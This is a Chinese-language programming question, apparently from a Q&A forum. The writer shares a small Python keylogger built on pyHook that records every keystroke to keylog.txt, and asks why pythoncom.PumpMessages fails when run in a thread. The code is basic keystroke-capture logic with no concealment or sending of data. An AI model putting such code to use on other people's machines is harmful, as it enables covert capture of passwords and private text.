我正在用python编写小键盘记录器。这是我的代码。
LOG_FILENAME = 'keylog.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=LOG_FILENAME,
level=logging.DEBUG,
format='%(message)sx')
logging.log(10,chr(event.Ascii))
return True
def print_stuff():
print "Oh stuff!"
hm=pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
thread.start_new_thread(pythoncom.PumpMessages,())
print_stuff()
但为什么pythoncom.PumpMessages()
不工作?有没有办法在线程中运行 pythoncom.PumpMessages 函数?